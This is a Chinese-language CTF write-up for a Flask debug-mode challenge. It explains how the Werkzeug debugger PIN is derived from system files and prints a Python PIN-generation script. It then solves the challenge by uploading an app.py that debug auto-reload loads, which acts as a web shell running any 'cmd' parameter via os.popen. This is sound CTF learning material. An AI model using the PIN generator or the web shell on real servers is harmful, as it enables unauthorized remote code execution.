打开环境,发现三个链接/list /upload /console,题目描述为flask,那就是与flask的debug模式相关的漏洞,在此之前我只听过debug的pin码漏洞,也就是关于pin码的生成的。这里提一下:
点击查看代码
pin码的生成取决于下面这几个因素:
1.服务器运行flask所登录的用户名。
2.modname
2.getattr(app, “name”, app.class.name)。
3.flask库下app.py的绝对路径。
4.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得
5.最后一个就是机器的id。
其中modname就是flask.app,getattr(app, “name”, app.class.name)就是Flask这两个一般是不会变的,app.py的绝对路径我们可以直接从它的报错信息中得知。
登录用户可以在/etc/passwd中发现端倪。
机器的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,而docker的id在/proc/self/cgroup。
点击查看代码
#!/usr/bin/python2.7
#coding:utf-8
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'flaskweb', # username
'flask.app', # 一般为固定值modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac), # str(uuid.getnode()), /sys/class/net/eth0/address
str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print (genpin("02:42:ac:10:af:ca","b53170cd20be5202463fa5e0a54ea66fbeb1f2c058dcb09e105767cfc41acba4"))
if __name__ == '__main__':
getshell()
话题回到今天这道题,虽然和debug模式相关,但不是pin码相关的,这里涉及到一个flask开发相关的设置。Python + Flask程序开发过程中,修改模板文件和修改Python程序后,默认情况下,需要重新运行服务,才能够刷新。如果想要修改模板/程序后,让代码立即生效,需要特殊处理。(我记得java springboot中也有不需要重启直接生效)在app.py设置
app.jinja_env.auto_reload = True。说这个对这题有什么用呢?主页有三个链接,可以上传文件,那我们是不是可以上传app.py,让其直接覆盖运行(有人就说了,你怎么知道你上传的地方是不是app.py所在目录,那题目给你第一个链接干嘛的,你上传一个试试就发现直接上传到了app.py所在目录)。问题实质上就变成了flask开启了debug模式下,app.py源文件被修改后会立刻加载,所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。上payload:
点击查看代码
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True) // 5000port是题目简介就告诉的
// a flask disk with a vulneribility. (The application is running on port 5000)